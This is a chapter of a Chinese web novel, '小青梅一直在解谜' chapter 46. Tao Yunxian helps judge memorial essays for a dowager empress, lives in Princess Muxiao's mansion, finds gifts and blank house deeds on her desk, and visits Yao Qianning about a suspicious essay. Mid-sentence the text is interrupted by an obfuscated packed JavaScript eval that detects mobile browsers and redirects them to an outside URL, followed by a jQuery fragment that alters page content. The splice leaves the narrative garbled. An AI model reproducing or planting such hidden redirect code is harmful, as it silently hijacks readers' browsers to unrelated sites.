46.梅烛煎茶

作品:《小青梅一直在解谜

    该怎样为一位性格不为外人所知、生平简单乏善可陈、功绩翻遍起居注难觅的太皇太后,撰写一篇不落窠臼的祭文?


    现在,不仅朝中学士们在思索,因公主府的提议,天下读过诗书的女子,亦在深思。


    她们与这位太皇太后素未谋面,不似牧崇佑般熟识她的日常生活与为人处世,又该从何处下手破题?


    流水账式写一篇平平无奇的祭文,自然挑不出错处,但绝对无法脱颖而出。


    脱颖而出。


    在她们许多人的日常生活里,与这个词扯上关系,并不会被褒奖,甚至极有可能因此被冠上“争风吃醋”“竞燥矜功”“恃才凌人”等罪名。


    仿佛只有将头愈埋愈低、将自我缩得越小越好,再将外表套进温婉柔顺、德言容功、矩步规行等标准里,湮于深院脂粉钗环中,才是安全且值得称颂的。


    这次拨动她们心弦的第一弹,是昭灵公主亲写的告示规则。


    概括起来大致要求是:


    借普天之下共怀太皇太后之名,不限长短字数,不限格律形式,不限笔墨纸张,不限女子身份地位,一人最多两篇,标注实际姓名、户籍。


    措辞不当不会被追究,严禁代笔,力求按自身所思所长书写。


    被择中者有赏,甚至有被召进公主府详谈共悼的可能。


    没过几日,京中的祭文便零零散散递了进来。


    陶云娴忙时,常直接在公主府客院中住下,不回陶府。


    协助她的,有些同她一样住在这边客院,有些本就是公主府中人。


    陶云娴每日与她们一同评议文字,思路开阔许多。


    她为查阅典籍去过公主府内藏书阁。在原牧府的藏书阁内,俯仰环视那些经史子集、方技稗海,她静默失语之余,一阵狂喜涌上心头,连魂魄都似因她推门而微晃的烛火,摇曳震颤起来。


    每日一得闲,她便钻进藏书阁,或是小心翼翼点起灯烛,或是直接借窗外积雪映光,将全副心神浸在卷卷书中,不觉日长。


    陶云娴在公主府中真真实实过了一段平静且充盈的日子。


    她有时觉得自己就像一撮山茶叶,正在炉上文火煨着的梅枝雪水里缓缓浮沉,舒展原本卷曲干枯的茎络,于悄然无声中重焕新生。


    冬日的温茶盏,落入梅花也是常有的事。


    藏书阁让她流连,但她夜晚回屋推门前,心中亦会隐隐期待。


    桌上常会多出些东西。


    第一次看到一段开得相当漂亮的梅枝,她笑着凑近闻了一下,端详把玩一会儿,将梅枝轻轻放回桌面正中央,又盯了几息,出手将它摆正。


    第二日,桌上的梅枝换了新。一枝含苞待放,旁边多了一个做工精巧别致的花瓶。


    花瓶中已有清水。陶云娴那日有些疲倦,随手将花枝掷入瓶中便去歇息。


    再次睁眼,发现唤醒她的是一阵暗香。


    会出现在桌上的,不止是花草摆件,还有一些并不算明贵但款式轻巧独特的各类首饰与机关。有时下方会压着张字条,潇洒飘逸的字体简略解释使用方法与注意事项。


    时间久了,陶云娴已相当习惯与这些小物件不期而遇。


    但有一日,她进门后着实一惊——桌面上赫然是一些包得齐齐整整银两,数额写得明明白白,还注明了日期。


    陶云娴退后几步,转身披衣出门,去找露秋。


    “秋掌事,抱歉这个时间前来叨扰。但……”


    “陶姑娘是来询问桌上银两的么?”露秋温柔一笑,“陶姑娘放心,来历与数额都没有问题。”


    “但我和殿下……我不需要……”陶云娴一时不知该从何说起。


    “这个么……只要做了超出分内之事的部分,都会有的。”露秋对她缓缓眨了一下眼,“殿下自己也有。”


    “若是不想要钱财,可以找公主换个新春愿望。”


    “天气这样寒冷,陶姑娘近日辛苦,还是早些回去歇息吧。”露秋帮她重新系了身前的系带,整了整衣物,温声补上一句,“陶姑娘什么都不用担心。”


    “不论殿下是否在府中,也不论殿下是否事事过问,只要我们其中的任何一个在,公主府内,不会发生陶姑娘可能担心过的那些事。”


    陶云娴背对着风雪沉默片刻,向露秋道谢拜别后,转身走向自己院中。


    等她回到自己院中,关门的片刻,从自己的思绪中抽出,发现露秋其实一直跟在她身后不远处,一路至院门口。


    她停下关门的手,见露秋对她微微一笑,在院门外静静施礼告辞,缓缓退到她视线之外。


    陶云娴扶着门框默然许久,脑中萦绕的与其说是疑问,倒不如说是一个想法:露秋口中的“我们”,究竟涵盖了多少人呢?


    ·


    “但是殿下,这个实在,实在……”这个寒冬的末尾,陶云娴终究还是因桌上出现的新物件来找牧晓了。


    这次出现在桌上的,是两张只有格式、没有内容、近乎空白的薄纸。


    陶云娴思考许久,惊觉这个制式应当是房契和地契。


    “云娴想一辈子住在陶府么?”牧晓合上手中正看的书信,抬头笑问道。


    陶云娴无奈道:“实话说,我现在已不想回去了。”


    “不过,关于房屋这块,我其实已做过打算。”


    “用云娴自己的嫁妆么?”牧晓语气平静,并不惊讶。


    “瞒不过殿下。”陶云娴苦笑道。


    陶府内虽然不支持她的想法和行为,但并不算绝情。


    牧晗和陶郎中商议后,将为她备的嫁妆交到了她手里——不支持,但不希望女儿在外因银钱之事被人瞧不起。


    在公主府中暂居完全不成问题。但若是陶云娴只能住在陶府或公主府,时间久了,公主府也一样会变成她的牢笼。


    她需要找到一个完全由她自己做主的地方——或许没有陶府熟悉亲切,没有公主府安全省心,但一定完全属于她自己,只属于她自己。


    “完全合心意的院落难寻。更何况律法不允许女子单独做户主,总要找个地方挂靠。”牧晓猜


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16918391|189215||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    到陶云娴大概不会直接接受,也必然有自己的想法。


    因此房契地契都是空白的。


    “挂靠之事,确实需要麻烦殿下。”陶云娴明白,挂在公主府这边,借宫中的势,能免去很多问题。


    “钱财之事,我或许也能提供些帮助。”牧晓想了想,说道,“我知道若是公主府直接借,你肯定会急着还。”


    “但手中还是留些现银为好。”


    “有个人能名正言顺帮你,且已有现成流程规则。”


    “走吧。”牧晓看着有些好奇的陶云娴,又低头看了看桌上的各种文书信件,耸耸肩,“反正一时半会处理不完。”


    “早知如此……早上一起去就好了。”牧晓叹了口气,“没事。现在也不晚。”


    ·


    “来得正好。正事没说,光和他说废话去了。”姚千宁丢下儿子,甩甩袖子笑盈盈前来,“还带了友人过来。”


    与姚千宁问好后,牧晓见她眼神往陶云娴的方向不经意一闪,对她微不可查地点点头。


    “晚辈陶云娴,见过姚庄主。”陶云娴施然一礼。


    “云娴呀,不必拘束。一起进屋暖和暖和吧。”姚千宁对着她友善地笑笑,示意她进屋一起说话。


    牧晓进屋后对迎上来的苏墨清摊手解释道:“后悔了。早知道刚才就带人和你一起过来了。你们刚才聊到哪儿了?”


    “刚才么?没聊什么紧要的东西。回府再说不迟。”苏墨清反问道,“你们要说的事,需要我回避么?”


    “只是与产业相关。”牧晓思索后道,“那产业真算起来,好像也有你一份。”


    陶云娴走进来,见礼后坦然笑道:“哪有让借债人回避的道理。”


    “这个么,倒是谈不上‘借’字……具体细节我不算太清楚,让姚庄主等会与你解释吧。”牧晓说完,拉她坐下,见她还是有点紧张,打趣一句,“其实要是云娴和云娴的父母不介意,我们也能算一家人。”


    “殿下说笑。这哪里是我介不介意的问题。”陶云娴失笑道,“我母亲那样的态度,殿下不介意就很好了。”


    牧晓转向姚千宁,介绍道:“云娴从平良县至今,帮我不少忙。近日之举,少不了云娴的参谋提议。祭文整理评阅这块现在主要是她在负责。”


    “这么巧,我正要说这件事。”姚千宁含着欣赏之色看着陶云娴,“那篇有古怪的祭文,想必也是过过云娴之手的。”


    “姚庄主若说的是宫中出来那篇,确实是晚辈挑出的。”陶云娴颔首应道。


    “我看了。按字迹和这语气,我认为像宫里的崔太妃。”姚千宁道,“你们在各种宫宴上应该经常见她。”


    牧晓与陶云娴对视一眼。


    让她们产生交集的暖炉宴上,就有这位崔太妃。


    先帝后过世后,又经过洛水刑场前发生的事,先帝的妃嫔,能活下来,且有权有身份正式出席各种宫宴者甚少。


    而这位崔太妃,躲过了各种风浪,能存活至今没被任何一场波涛卷入,自有她的本事。